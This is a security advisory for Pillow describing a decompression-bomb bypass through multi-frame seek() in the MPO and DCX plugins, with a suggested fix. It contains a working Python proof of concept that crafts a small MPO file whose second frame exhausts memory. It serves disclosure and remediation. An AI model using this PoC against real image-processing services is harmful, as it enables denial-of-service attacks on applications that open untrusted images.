GHSA-p8hx-v2p6-rp84

    Dashboard / Vulnerabilities / GHSA-p8hx-v2p6-rp84

    GHSA-p8hx-v2p6-rp84

    Published: 22 Oct 2026Last Modified: 29 Oct 2026

    Summary: Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)

    Details: ### Summary Pillow's decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame's header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM). Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP). ### Details `Image.open()` → `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking: - **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`. - **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check. Confirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek. ### PoC Self-contained; the victim uses **default** `MAX_IMAGE_PIXELS`: ```python import io from PIL import Image # attacker builds the file (guard disabled only to CREATE the oversized frame) Image.MAX_IMAGE_PIXELS = None small = Image.new("RGB", (8, 8)) big = Image.new("RGB", (14000, 14000), (120, 60, 30)) # 196,000,000 px > error threshold buf = io.BytesIO() small.save(buf, format="MPO", save_all=True, append_images=[big]) data = buf.getvalue() # ~3 MB Image.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default # victim (default limits) im = Image.open(io.BytesIO(data)) # frame 0 (8x8) passes the bomb check im.seek(1) # frame 1 (14000x14000) -> NOT re-checked <-- bug im.load() # decodes the over-limit image, commits memory print("loaded over-limit frame:", im.size) ``` Measured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px): | Vector | File size | Frame 1 | Peak RSS | |---|---|---|---| | MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB | | DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB | | Control: same image standalone | — | 196 Mpx | `DecompressionBombError` (correctly blocked) | The DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process. ### Impact Denial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed. ### Suggested fix Re-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF: ```python # PIL/MpoImagePlugin.py — end of MpoImageFile.seek() self.tile = [ImageFile._Tile("jpeg", (0, 0) + self.size, self.offset, self.tile[0][-1])] Image._decompression_bomb_check(self.size) # add self.__frame = frame # PIL/DcxImagePlugin.py — end of DcxImageFile.seek() PcxImageFile._open(self) Image._decompression_bomb_check(self.size) # add ```

    Affected packages

    Package

    Name: pillow

    Purl: pkg:pypi/pillow

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -13.0.0

    Affected versions

    1.0

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High